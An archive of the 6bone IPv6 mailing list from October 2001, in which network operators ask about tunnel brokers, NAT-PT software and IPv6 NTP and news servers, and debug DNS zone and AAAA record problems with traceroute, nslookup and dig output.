ChungHwa Telecom. Co.

------=_NextPart_000_0086_01C14FF2.2B4E0D60
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dbig5">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DMingLiu size=3D2>
<DIV><FONT face=3DMingLiu size=3D2>
<DIV><FONT face=3DMingLiu size=3D2>Hi:</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp; I am =
looking for NAT-PT package=20
and wish to try the function. I find in some web pages about BT's NAT-PT =
but can=20
not find the place to download the software. (Some link has been out of =
date and=20
can not be accessed). Does anybody know where I can download BT's NAT-PT =

software?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DMingLiu>&nbsp;&nbsp;&nbsp; Besides, is there any place =
with=20
collections of existing NAT-PT imlementation?</FONT></DIV>
<DIV><FONT face=3DMingLiu size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>Yann-Ju Chu</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>ChungHwa Telecom.=20
Co.</FONT></DIV></FONT></DIV></FONT></DIV></BODY></HTML>

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From 6bone-owner  Mon Oct  8 07:07:17 2001
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Date: Mon, 8 Oct 2001 10:07:31 -0400 (EDT)
From: Alaa Masoud <alaa_groups@yahoo.ca>
Subject: Registering IPv6 address.
To: 6Bone <6bone@ISI.EDU>
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Hi,

I have setup a network of 2 linux machines connected
to for cisco routers. They all using IPv6. I would
like to connect my network to the 6bone. I scanned the
6bone webpage quickly but I was not certain about the
steps I follow in order to obtain the address. and it
said at the begining that I need to sign up with this
news group. Could anyone give me a hint of where to
start and steps I should follow??

Many Thanks,
Alaa.

_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca

From 6bone-owner  Mon Oct  8 10:03:09 2001
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From: Petr Baudis <pasky@pasky.ji.cz>
To: Alaa Masoud <alaa_groups@yahoo.ca>
Cc: 6Bone <6bone@ISI.EDU>
Subject: Re: Registering IPv6 address.
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>             Could anyone give me a hint of where to
> start and steps I should follow??
The best thing for you as the quick start would be probably getting
some address space from a tunnel broker. These are providing tunnels
and some IPv6 address space for free, and obviously a connectivity to
6bone thru those tunnels. Check http://hs247.com/ for very good list
of them (and other useful informations).

-- 

				Petr "Pasky" Baudis
.                                                                       .
Real Users hate Real Programmers.
Error in /home/tokra/.muttrc, line 145: previous-undead: no such function in map
.                                                                       .
Public PGP key, geekcode and stuff: http://pasky.ji.cz/~pasky/

From 6bone-owner  Mon Oct  8 10:32:44 2001
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Since it doesn't seem like you need something else, you
could go about using a 2002::/16 prefix or a tunnel.
Check out the 6bone.net website a bit closer, as well as
google for plenty of information on setting up IPv6 with
a 2002::/16 or using a tunnel broker. 

http://hs247.com/ has a lot of useful information as well.

Enjoy.


Alaa Masoud wrote:
> 
> Hi,
> 
> I have setup a network of 2 linux machines connected
> to for cisco routers. They all using IPv6. I would
> like to connect my network to the 6bone. I scanned the
> 6bone webpage quickly but I was not certain about the
> steps I follow in order to obtain the address. and it
> said at the begining that I need to sign up with this
> news group. Could anyone give me a hint of where to
> start and steps I should follow??
> 
> Many Thanks,
> Alaa.
> 
> _______________________________________________________
> Do You Yahoo!?
> Get your free @yahoo.ca address at http://mail.yahoo.ca

-- 

 ..:: Too many people... Too few neurons.
 PGP: RSA 2048bit 0xB7673053 (keyserver.pgp.com)
 Web: http://packetjunkie.net  http://bsdbox.org

From 6bone-owner  Wed Oct 10 23:46:33 2001
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From: "Mithrandir" <mithrandir@skynet.be>
To: <6bone@ISI.EDU>
Subject: Belgium
Date: Thu, 11 Oct 2001 08:47:22 +0200
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Hello everybody,

Is there anyone of you from belgium?

I need to contact you with an offer.

Good knowledge of IPv6 is required.

Thank you

Greetings
Mithrandir
mithrandir@skynet.be



From 6bone-owner  Fri Oct 12 13:32:10 2001
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Reply-To: <micklesc@aol.net>
From: "Cleve Mickles" <micklesc@aol.net>
To: "6bone" <6bone@ISI.EDU>
Subject: IPV6 DNS error messages
Date: Fri, 12 Oct 2001 16:31:10 -0400
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I'm noticing a couple of messages in my logs when my name
server is restarted.  Has anyone seen this before? My reverses
are working but I don't like the warning messages.

Oct 12 14:24:32 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
daemon.warning]
dns_master_load: db.3ffe:2803:52: ignoring out-of-zone data
Oct 12 14:28:51 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
daemon.warning]
dns_master_load: db.3ffe:2803:53: ignoring out-of-zone data
Oct 12 14:50:21 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
daemon.warning]
dns_master_load: db.3ffe:2803:12: ignoring out-of-zone data
Oct 12 14:50:21 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
daemon.warning]
dns_master_load: db.3ffe:2803:14: ignoring out-of-zone data
Oct 12 14:50:21 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
daemon.warning]
dns_master_load: db.3ffe:2803:17: ignoring out-of-zone data
Oct 12 14:50:21 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
daemon.warning]
dns_master_load: db.3ffe:2803:50: ignoring out-of-zone data

#
# traceroute 3ffe:8100:200:1fff::1
traceroute to 3ffe:8100:200:1fff::1, 30 hops max, 60 byte packets
 1  ptn-6bone1-nose-fe200.aolv6.aol.com (3ffe:2803:fffe::1)  0.714 ms  0.440
ms  0.526 ms
 2  sprint-vbns.pym.vbns.net (3ffe:28ff:ffff:1::115)  35.225 ms  35.343 ms *
 3  3ffe:2900:a:8::2  156.100 ms  156.198 ms  156.546 ms
 4  gate.ipv6.wanadoo.be (3ffe:8100:200:1fff::1)  193.520 ms *  194.033 ms
#

Thanks,

Cleve...

Cleve Mickles
Office Phone: 703-265-5618
Network Architect
America Online, Network Operations


From 6bone-owner  Fri Oct 12 17:52:07 2001
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To: micklesc@aol.net
CC: 6bone <6bone@ISI.EDU>
Subject: Re: IPV6 DNS error messages
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Doesn't seem to be a real IPv6 related problem, but more of a
BIND misconfiguration. Review your zone files, and use something
like nslint, named-checkzone, etc.


Cleve Mickles wrote:
> 
> I'm noticing a couple of messages in my logs when my name
> server is restarted.  Has anyone seen this before? My reverses
> are working but I don't like the warning messages.
> 
> Oct 12 14:24:32 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
> daemon.warning]
> dns_master_load: db.3ffe:2803:52: ignoring out-of-zone data
> Oct 12 14:28:51 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
> daemon.warning]
> dns_master_load: db.3ffe:2803:53: ignoring out-of-zone data
> Oct 12 14:50:21 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
> daemon.warning]
> dns_master_load: db.3ffe:2803:12: ignoring out-of-zone data
> Oct 12 14:50:21 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
> daemon.warning]
> dns_master_load: db.3ffe:2803:14: ignoring out-of-zone data
> Oct 12 14:50:21 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
> daemon.warning]
> dns_master_load: db.3ffe:2803:17: ignoring out-of-zone data
> Oct 12 14:50:21 ns-ipv6 /usr/local/sbin/named[136]: [ID 866145
> daemon.warning]
> dns_master_load: db.3ffe:2803:50: ignoring out-of-zone data
> 
> #
> # traceroute 3ffe:8100:200:1fff::1
> traceroute to 3ffe:8100:200:1fff::1, 30 hops max, 60 byte packets
>  1  ptn-6bone1-nose-fe200.aolv6.aol.com (3ffe:2803:fffe::1)  0.714 ms  0.440
> ms  0.526 ms
>  2  sprint-vbns.pym.vbns.net (3ffe:28ff:ffff:1::115)  35.225 ms  35.343 ms *
>  3  3ffe:2900:a:8::2  156.100 ms  156.198 ms  156.546 ms
>  4  gate.ipv6.wanadoo.be (3ffe:8100:200:1fff::1)  193.520 ms *  194.033 ms
> #
> 
> Thanks,
> 
> Cleve...
> 
> Cleve Mickles
> Office Phone: 703-265-5618
> Network Architect
> America Online, Network Operations

-- 

 ..:: Too many people... Too few neurons.
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From 6bone-owner  Mon Oct 15 06:25:18 2001
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Date: Mon, 15 Oct 2001 15:25:25 +0200 (CEST)
From: Kristoff Bonne <kristoff.bonne@skypro.be>
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To: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Cc: <users@ipv6.org>, <6bone@ISI.EDU>, <tech@canarie.ca>, <ntp@viagenie.qc.ca>
Subject: Re: NTP available on IPv6
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Greetings,

On Thu, 20 Sep 2001, Marc Blanchet wrote:
> Hi,
>   We ported the Network Time Protocol (NTP) current distribution
> (ntp-4.1.0.tar.gz) to IPv6. The main components (client, server) have been
> ported to enable the use of NTP over IPv6 to synchronize clocks of IPv6
> nodes, however, a few other optional components are being ported.
(...)
> Information on how to get the code and how to use the NTPv6 service is
> available at: http://www.viagenie.qc.ca/en/ipv6/ntpv6/index.shtml.
> We are looking for feedback from users who would like to test the code and
> the server.
OK. I have it a try on a PC running OpenBSD 2.8.

This is what I got.
1/ "ntpdate ntp.ipv6.viagenie.qc.ca" DID seams to work;
2/ "ntpd" did NOT work with my standard /etc/ntp.conf
server ntp1.belbone.be
server ntp2.belbone.be
server ntp.ipv6.viagenie.qc.ca
multicastclient
driftfile /etc/ntp/drift
broadcast 224.0.1.1 ttl 63

I removed the lines "multicastclient" and "broadcast" (which had to do
with IPv4 multicasting); which seams to work better but not completely OK.


First: I get these syslog-messages
Oct 15 15:19:18 thor ntpd[10098]:
sendto(3ffe:b00:c18:1:202:b3ff:fe31:fa5f): Invalid argument
Oct 15 15:19:18 thor ntpd[10098]:
sendto(3ffe:b00:c18:1:202:b3ff:fe31:fa5f): Invalid argument

Second: 'xntpdc' (which is non-IPv6) seams to crash the ntpd-daemon.


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122


From 6bone-owner  Mon Oct 15 07:23:33 2001
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Date: Mon, 15 Oct 2001 17:24:19 +0000 (GMT)
From: Ismail YENIGUL <yenigul@rt.net.tr>
To: <6bone@ISI.EDU>
Subject: CSELT TB and TS on FreeBSD 4.4-STABLE help!
Message-ID: <Pine.BSF.4.32L2.0110151717130.52699-100000@agayev.rt.net.tr>
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hi

i am trying to install an TB and TS  on a single FreeBSD
4.4-STABLE box. but i am a bit confused.
i have also an IPv6 enabled Cisco router.

currently i install CSELT Tunnel Broker web interface. i works very
well. but i do not know how to configure same FreeBSD box as a Tunnel
Server.

After Configuring to Tunnel Server  , what should i do to forward all
packages that comes from clients to IPv6 Cisco Router ?

Best regards



If you know what you are doing, you would be bored !
Ismail YENIGUL
RT.NET  <yenigul@rt.net.tr>



From 6bone-owner  Mon Oct 15 13:17:48 2001
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From: "Cleve Mickles" <micklesc@aol.net>
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Subject: RE: IPV6 DNS error messages
Date: Mon, 15 Oct 2001 16:16:47 -0400
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Folks,

Thanks for all your comments and your help.  Someone pointed 
out that it was probably due to A records in the zone
file and I had one that was not commented out in my 
forward file.  The problem was corrected.

Thanks,

Cleve...


> -----Original Message-----
> From: lazy@aol.net [mailto:lazy@aol.net]On Behalf Of lazy
> Sent: Friday, October 12, 2001 8:52 PM
> To: micklesc@aol.net
> Cc: 6bone
> Subject: Re: IPV6 DNS error messages
> 
> 
> Doesn't seem to be a real IPv6 related problem, but more of a
> BIND misconfiguration. Review your zone files, and use something
> like nslint, named-checkzone, etc.
> 
> 
> Cleve Mickles wrote:
> > 
> > I'm noticing a couple of messages in my logs when my name
> > server is restarted.  Has anyone seen this before? My reverses
> > are working but I don't like the warning messages.
> > 
> > Cleve Mickles
> > Office Phone: 703-265-5618
> > Network Architect
> > America Online, Network Operations
> 


From 6bone-owner  Tue Oct 16 14:10:02 2001
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Date: Tue, 16 Oct 2001 16:07:24 -0500
From: "Todd T. Fries" <todd@fries.net>
To: 6bone@ISI.EDU
Subject: ipv6 deployment
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Will this list be hosted on an ipv6 enabled machine in the future to promote
use/testing of ipv6 smtp?

(I've updated my dns so the lowest mx is ipv6 only, and is not an issue because
 the 2nd lowest mx is ipv4 and headed to the same machine .. so far only kame
 is sending me ipv6 email ..)

Is there anywhere any registrar that will allow registering of an ipv6 address
for a dns server?

Thanks,
-- 
Todd Fries .. todd@fries.net

From 6bone-owner  Tue Oct 16 18:03:50 2001
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Todd T. Fries'" <todd@fries.net>
Cc: <6bone@ISI.EDU>
Subject: RE: ipv6 deployment
Date: Wed, 17 Oct 2001 03:04:01 +0200
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Todd T. Fries <todd@fries.net> wrote:

> Will this list be hosted on an ipv6 enabled machine in the future to
promote
> use/testing of ipv6 smtp?
There are not so many lists/smtp's using IPv6 even though one can simply
add an IPv6 AAAA/A6 and IPv4 address
to a box making it totally transparant as the MTA should first try IPv6
(AAAA/A6) records and after that it should fall back to IPv4...
Just like IE does with http, ssh does with openssh and so on....

All mail at the ipng.nl is done this way... the ipv6@ipng.nl mailinglist
also travels over IPv6 wherever possible.
(echo "subscribe ipng-ipv6" | mail majordomo@ipng.nl; send mail to
ipv6@ipng.nl, open only to subscribers... :)
And not to forget that zama has some kind of IPv6 only webmail
interface.
Check http://hs247.com/ for some of the mailinglists

For myself my mail travels from outlook over IPv4 to my mailbox which
runs postfix and after that it travels over IPv6 or IPv4 in the way as
described above.
(I would really like to see IPv6 SMTP & IMAP in Outlook :)

What I am kinda missing is a 'telnet mail-abuse.org' which also has an
IPv6 testing capability...
And coming to that topic... don't forget to block/allow ::ffff:x.x.x.x
IPv4-mapped addresses or you still have an open spam relay.. I luckily
haven't seen any spam coming over IPv6 though :)

> (I've updated my dns so the lowest mx is ipv6 only, and is not an
issue because
>  the 2nd lowest mx is ipv4 and headed to the same machine .. 
> so far only kame is sending me ipv6 email ..)
> 
> Is there anywhere any registrar that will allow registering 
> of an ipv6 address for a dns server?
Depends on your delegation provider :)
Ofcourse you can always smack in those AAAA & A6 records in your
delegated DNS's SOA...
Also see http://www.crt.se/dnssec/bind9/ for the docs...

Greets,
 Jeroen


From 6bone-owner  Tue Oct 16 22:09:19 2001
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Subject: Re: ipv6 deployment
To: todd@fries.net (Todd T. Fries)
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In-Reply-To: <20011016160724.B6409@eclipse.fries.net> from "Todd T. Fries" at Oct 16, 2001 04:07:24 PM
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% 
% Will this list be hosted on an ipv6 enabled machine in the future to promote
% use/testing of ipv6 smtp?

	We could move it to an IPv6 machine... 

% 
% (I've updated my dns so the lowest mx is ipv6 only, and is not an issue because
%  the 2nd lowest mx is ipv4 and headed to the same machine .. so far only kame
%  is sending me ipv6 email ..)
% 
% Is there anywhere any registrar that will allow registering of an ipv6 address
% for a dns server?
% 
% Thanks,
% -- 
% Todd Fries .. todd@fries.net
% 


-- 
--bill

From 6bone-owner  Tue Oct 16 22:56:02 2001
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Date: Wed, 17 Oct 2001 00:53:11 -0500
From: "Todd T. Fries" <todd@fries.net>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: Re: ipv6 deployment
Message-ID: <20011017005311.M8216@eclipse.fries.net>
References: <20011016160724.B6409@eclipse.fries.net> <200110170509.f9H59Z329916@zed.isi.edu>
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I would presume dual stack, only makes sense.  But definately makes sense
to utilize the very protocol we discuss during the discussion.

Penned by Bill Manning on Tue, Oct 16, 2001 at 10:09:25PM -0700, we have:
| % 
| % Will this list be hosted on an ipv6 enabled machine in the future to promote
| % use/testing of ipv6 smtp?
| 
| 	We could move it to an IPv6 machine... 
| 
| % 
| % (I've updated my dns so the lowest mx is ipv6 only, and is not an issue because
| %  the 2nd lowest mx is ipv4 and headed to the same machine .. so far only kame
| %  is sending me ipv6 email ..)
| % 
| % Is there anywhere any registrar that will allow registering of an ipv6 address
| % for a dns server?
| % 
| % Thanks,
| % -- 
| % Todd Fries .. todd@fries.net
| % 
| 
| 
| -- 
| --bill

-- 
Todd Fries .. todd@fries.net

From 6bone-owner  Wed Oct 17 15:24:38 2001
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Date: Thu, 18 Oct 2001 00:24:53 +0200
From: Bernhard Schmidt <berni@birkenwald.de>
To: 6bone@ISI.EDU
Subject: IPv6 newsfeed
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Hi,

anyone in here running an ipv6 capable newsfeeder who wants to set up a
test feed for one or two medium sized hierarchies over ipv6?

Bernhard

From 6bone-owner  Wed Oct 17 17:32:28 2001
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From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Bernhard Schmidt <berni@birkenwald.de>
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On Thu, 18 Oct 2001, Bernhard Schmidt wrote:

> Hi,
>
> anyone in here running an ipv6 capable newsfeeder who wants to set up a
> test feed for one or two medium sized hierarchies over ipv6?

Love to, but am still waiting for INN to integrate it....other than that,
my newserver is IPv6-ready.

>
> Bernhard
>



wfms


From 6bone-owner  Thu Oct 18 00:41:37 2001
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From: David Correa <tech@weblibre.org>
X-X-Sender: tech@yunque.10.10.10.254
To: 6bone@ISI.EDU
Subject: IPv6 Web Site Test
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Hi,

I think I have http://ipv6.linux-tech.com working, I can see it
from my network, but I am not sure if is really working from the
out side (via IPv6), could some one check and let me know is all is good?

Thanks,
/dc

David Correa RHCE CCNA    _    _ _  _ _  _ _  _    ___ ____ ____ _  _
tech@linux-tech.com       |    | |\ | |  |  \/      |  |___ |    |__|
http://www.linux-tech.com |___ | | \| |__| _/\_     |  |___ |___ |  |




From 6bone-owner  Thu Oct 18 01:59:47 2001
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On Thu, 18 Oct 2001, David Correa wrote:

> Hi,
>
> I think I have http://ipv6.linux-tech.com working, I can see it
> from my network, but I am not sure if is really working from the
> out side (via IPv6), could some one check and let me know is all is good?
>
Not 'till its AAAA record shows up in the DNS:


> host -t a ipv6.linux-tech.com
ipv6.linux-tech.com is an alias for linux-tech.com.
linux-tech.com has address 66.123.163.230
> host -t aaaa ipv6.linux-tech.com
ipv6.linux-tech.com is an alias for linux-tech.com.
>

Pete.


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Date: Thu, 18 Oct 2001 11:23:52 +0200
From: Bernhard Schmidt <berni@birkenwald.de>
To: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 newsfeed
Message-ID: <20011018112352.A17764@thor.birkenwald.de>
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On Wed, Oct 17, 2001 at 08:32:27PM -0400, William F. Maton wrote:

Hi William,

> > anyone in here running an ipv6 capable newsfeeder who wants to set up a
> > test feed for one or two medium sized hierarchies over ipv6?
> 
> Love to, but am still waiting for INN to integrate it....other than that,
> my newserver is IPv6-ready.

INN 2.3.2 is able to speak ipv6 with a patch provided at

ftp://ftp.north.ad.jp/pub/IPv6/INN/inn-2.3.2-v6-20010807.diff.gz

This combination is running without any problems on
thor.ipv6.birkenwald.de:119 and news.ipv6.eurocyber.net:1119 (reader
access and innfeed over ipv6 are possible).

I did not test it under heavy load though, both systems have about
50megs/day newsfeed, my machine also has some reader access. 

   bye bye
     Bernhard

From 6bone-owner  Thu Oct 18 02:26:35 2001
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From: "Wijninga, Rene" <Rene.Wijninga@compaq.com>
To: "'David Correa'" <tech@weblibre.org>, 6bone@ISI.EDU
Subject: RE: IPv6 Web Site Test
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Hi David,

Works perfectely.

Greetz, Rene

Rene Wijninga
Senior Network Specialist Enterprise Networking
Professional Services

Compaq Computer B.V.
P.O. Box 9064	 - 	3506 GB Utrecht
Europalaan 44	 - 	3526 KS Utrecht
Phone:		+31 (0)30 2834490
FAX: 		+31 (0)653148456
Mobile:		+31 (0)6 51275732
e-mail: 		rene.wijninga@compaq.com
Web:		 www.compaq.com


-----Original Message-----
From: David Correa [mailto:tech@weblibre.org] 
Sent: donderdag 18 oktober 2001 09:43
To: 6bone@ISI.EDU
Subject: IPv6 Web Site Test

Hi,

I think I have http://ipv6.linux-tech.com working, I can see it
from my network, but I am not sure if is really working from the
out side (via IPv6), could some one check and let me know is all is good?

Thanks,
/dc

David Correa RHCE CCNA    _    _ _  _ _  _ _  _    ___ ____ ____ _  _
tech@linux-tech.com       |    | |\ | |  |  \/      |  |___ |    |__|
http://www.linux-tech.com |___ | | \| |__| _/\_     |  |___ |___ |  |




From 6bone-owner  Thu Oct 18 05:35:50 2001
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Your don't appear to have a AAAA record for ipv6.linux-tech.com


(mikej@firewall) /home/staff/mikej$ nslookup -query=AAAA
ipv6.linux-tech.com
Server:  ns2.confluentasp.com
Address:  208.35.201.2

Non-authoritative answer:
ipv6.linux-tech.com     canonical name = linux-tech.com

Authoritative answers can be found from:
linux-tech.com
        origin = dns5.register.com
        mail addr = root.register.com
        serial = 200008148
        refresh = 10800 (3H)
        retry   = 86400 (1D)
        expire  = 604800 (1W)
        minimum ttl = 3600 (1H)
(mikej@firewall) /home/staff/mikej$


--mikej
Michael Jung
mikej@mikej.com




-----Original Message-----
From: David Correa [mailto:tech@weblibre.org]
Sent: Thursday, October 18, 2001 3:43 AM
To: 6bone@ISI.EDU
Subject: IPv6 Web Site Test


Hi,

I think I have http://ipv6.linux-tech.com working, I can see it
from my network, but I am not sure if is really working from the
out side (via IPv6), could some one check and let me know is all is
good?

Thanks,
/dc

David Correa RHCE CCNA    _    _ _  _ _  _ _  _    ___ ____ ____ _  _
tech@linux-tech.com       |    | |\ | |  |  \/      |  |___ |    |__|
http://www.linux-tech.com |___ | | \| |__| _/\_     |  |___ |___ |  |





From 6bone-owner  Thu Oct 18 07:43:31 2001
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From: <kirk@thebollingers.net>
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To: Bernhard Schmidt <berni@birkenwald.de>
cc: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>, <6bone@ISI.EDU>
Subject: Re: IPv6 newsfeed
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Does anyone know of an open IPV6 news server I can connect to just to play
with the latest version of tin??

thanks!

-kirk

On Thu, 18 Oct 2001, Bernhard Schmidt wrote:

> On Wed, Oct 17, 2001 at 08:32:27PM -0400, William F. Maton wrote:
>
> Hi William,
>
> > > anyone in here running an ipv6 capable newsfeeder who wants to set up a
> > > test feed for one or two medium sized hierarchies over ipv6?
> >
> > Love to, but am still waiting for INN to integrate it....other than that,
> > my newserver is IPv6-ready.
>
> INN 2.3.2 is able to speak ipv6 with a patch provided at
>
> ftp://ftp.north.ad.jp/pub/IPv6/INN/inn-2.3.2-v6-20010807.diff.gz
>
> This combination is running without any problems on
> thor.ipv6.birkenwald.de:119 and news.ipv6.eurocyber.net:1119 (reader
> access and innfeed over ipv6 are possible).
>
> I did not test it under heavy load though, both systems have about
> 50megs/day newsfeed, my machine also has some reader access.
>
>    bye bye
>      Bernhard
>


From 6bone-owner  Thu Oct 18 08:08:22 2001
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From: David Correa <tech@weblibre.org>
X-X-Sender: tech@yunque.10.10.10.254
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Subject: Re: IPv6 Web Site Test
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Hello,

Thanks to all that responded, I needed the feed back.

The reason (i think) why some where able to see it and others not
was that I still had a register.com DNS in the list
of Auth. DNS, there were no AAAA records there.
I have removed the Register.com DNS from the list, it
was not done before because I needed more testing.

I have the AAAA records on DNS servers that I have
running on my home network.

I know is not an interesting web site : ) but I would
appreciate if the people that _could not see it_ let me
know if it is visible now.

My respects to all,

/dc

David Correa RHCE CCNA    _    _ _  _ _  _ _  _    ___ ____ ____ _  _
tech@linux-tech.com       |    | |\ | |  |  \/      |  |___ |    |__|
http://www.linux-tech.com |___ | | \| |__| _/\_     |  |___ |___ |  |


From 6bone-owner  Thu Oct 18 10:52:27 2001
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From: Bernhard Schmidt <berni@birkenwald.de>
To: kirk@thebollingers.net
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 newsfeed
Message-ID: <20011018195240.A9894@thor.birkenwald.de>
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On Thu, Oct 18, 2001 at 07:53:04AM -0700, kirk@thebollingers.net wrote:

Hi,

> Does anyone know of an open IPV6 news server I can connect to just to play
> with the latest version of tin??

Well, I don't know an open one, but if you send me your IPv6 prefix and
the hierarchy you want I can give you access on news.ipv6.eurocyber.net.
This is a test daemon, so it only has selected hierarchies.

   bye bye
     Bernhard

From 6bone-owner  Thu Oct 18 12:15:36 2001
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From: "Toomas Soome" <tsoome@ut.ee>
To: "Bernhard Schmidt" <berni@birkenwald.de>,
        "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
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thanks a lot about this link! you can test out news.ut.ee, you are supposed to see only ee.* hierarchy, though...

> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf 
> Of Bernhard Schmidt
> Sent: Thursday, October 18, 2001 11:24 AM
> To: William F. Maton
> Cc: 6bone@ISI.EDU
> Subject: Re: IPv6 newsfeed
> 
> 
> On Wed, Oct 17, 2001 at 08:32:27PM -0400, William F. Maton wrote:
> 
> Hi William,
> 
> > > anyone in here running an ipv6 capable newsfeeder who wants 
> to set up a
> > > test feed for one or two medium sized hierarchies over ipv6?
> > 
> > Love to, but am still waiting for INN to integrate it....other 
> than that,
> > my newserver is IPv6-ready.
> 
> INN 2.3.2 is able to speak ipv6 with a patch provided at
> 
> ftp://ftp.north.ad.jp/pub/IPv6/INN/inn-2.3.2-v6-20010807.diff.gz
> 
> This combination is running without any problems on
> thor.ipv6.birkenwald.de:119 and news.ipv6.eurocyber.net:1119 (reader
> access and innfeed over ipv6 are possible).
> 
> I did not test it under heavy load though, both systems have about
> 50megs/day newsfeed, my machine also has some reader access. 
> 
>    bye bye
>      Bernhard
> 


From 6bone-owner  Thu Oct 18 12:33:53 2001
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Subject: RE: IPv6 Web Site Test
Date: Thu, 18 Oct 2001 15:34:03 -0400
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From: "Michael G. Jung" <mikej@confluenttech.com>
To: "David Correa" <tech@weblibre.org>, <6bone@ISI.EDU>
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Hmmm.... looks like your missing a trailing dot on your NS 
entries.  "origin = jade.weblibre.org.linux-tech.com".

--regards

+++++++++++++++++++++++++++++++++++++++++++++

(root@charon) /usr/staff/mikej# nslookup -type=AAAA ipv6.linux-tech.com
Server:  ns2.confluentasp.com
Address:  208.35.201.2

Non-authoritative answer:
ipv6.linux-tech.com     canonical name = linux-tech.com

Authoritative answers can be found from:
linux-tech.com
        origin = jade.weblibre.org.linux-tech.com
        mail addr = root.register.com
        serial = 200008151
        refresh = 10800 (3H)
        retry   = 86400 (1D)
        expire  = 604800 (1W)
        minimum ttl = 3600 (1H)
(root@charon) /usr/staff/mikej# 

+++++++++++++++++++++++++++++++++++++++++++++

If queried directly jade.weblibre.org answers with....

(root@charon) /usr/staff/mikej# nslookup -type=aaaa ipv6.linux-tech.com
jade.weblibre.org
Server:  jade.weblibre.org
Address:  66.123.163.226

ipv6.linux-tech.com     IPv6 address = 3ffe:1200:3028:ff01::35f9
linux-tech.com  nameserver = jade.weblibre.org
linux-tech.com  nameserver = onix.weblibre.org
jade.weblibre.org       internet address = 66.123.163.226
onix.weblibre.org       internet address = 66.123.163.227
(root@charon) /usr/staff/mikej# 


-----Original Message-----
From: David Correa [mailto:tech@weblibre.org]
Sent: Thursday, October 18, 2001 11:09 AM
To: 6bone@ISI.EDU
Subject: Re: IPv6 Web Site Test


Hello,

Thanks to all that responded, I needed the feed back.

The reason (i think) why some where able to see it and others not
was that I still had a register.com DNS in the list
of Auth. DNS, there were no AAAA records there.
I have removed the Register.com DNS from the list, it
was not done before because I needed more testing.

I have the AAAA records on DNS servers that I have
running on my home network.

I know is not an interesting web site : ) but I would
appreciate if the people that _could not see it_ let me
know if it is visible now.

My respects to all,

/dc

David Correa RHCE CCNA    _    _ _  _ _  _ _  _    ___ ____ ____ _  _
tech@linux-tech.com       |    | |\ | |  |  \/      |  |___ |    |__|
http://www.linux-tech.com |___ | | \| |__| _/\_     |  |___ |___ |  |


From 6bone-owner  Thu Oct 18 13:53:03 2001
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From: David Correa <tech@weblibre.org>
X-X-Sender: tech@yunque.10.10.10.254
To: "Michael G. Jung" <mikej@confluenttech.com>
cc: 6bone@ISI.EDU
Subject: RE: IPv6 Web Site Test
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Michael,

I think the problem is that a DNS in register.com is
still responding when it should not, there are no aaaa records there.
It looks like I need to wait 24/48 hours for all the dns in the
internet to sync. the new auth dns for the domain info.

Try this:
dig ipv6.linux-tech.com @jade.weblibre.org aaaa
dig ipv6.linux-tech.com @onix.weblibre.org aaaa

Thanks for the help,
/dc

On Thu, 18 Oct 2001, Michael G. Jung wrote:

> Date: Thu, 18 Oct 2001 15:34:03 -0400
> From: Michael G. Jung <mikej@confluenttech.com>
> To: David Correa <tech@weblibre.org>, 6bone@ISI.EDU
> Subject: RE: IPv6 Web Site Test
>
> Hmmm.... looks like your missing a trailing dot on your NS
> entries.  "origin = jade.weblibre.org.linux-tech.com".
>
> --regards
>
> +++++++++++++++++++++++++++++++++++++++++++++
>
> (root@charon) /usr/staff/mikej# nslookup -type=AAAA ipv6.linux-tech.com
> Server:  ns2.confluentasp.com
> Address:  208.35.201.2
>
> Non-authoritative answer:
> ipv6.linux-tech.com     canonical name = linux-tech.com
>
> Authoritative answers can be found from:
> linux-tech.com
>         origin = jade.weblibre.org.linux-tech.com
>         mail addr = root.register.com
>         serial = 200008151
>         refresh = 10800 (3H)
>         retry   = 86400 (1D)
>         expire  = 604800 (1W)
>         minimum ttl = 3600 (1H)
> (root@charon) /usr/staff/mikej#
>
> +++++++++++++++++++++++++++++++++++++++++++++
>
> If queried directly jade.weblibre.org answers with....
>
> (root@charon) /usr/staff/mikej# nslookup -type=aaaa ipv6.linux-tech.com
> jade.weblibre.org
> Server:  jade.weblibre.org
> Address:  66.123.163.226
>
> ipv6.linux-tech.com     IPv6 address = 3ffe:1200:3028:ff01::35f9
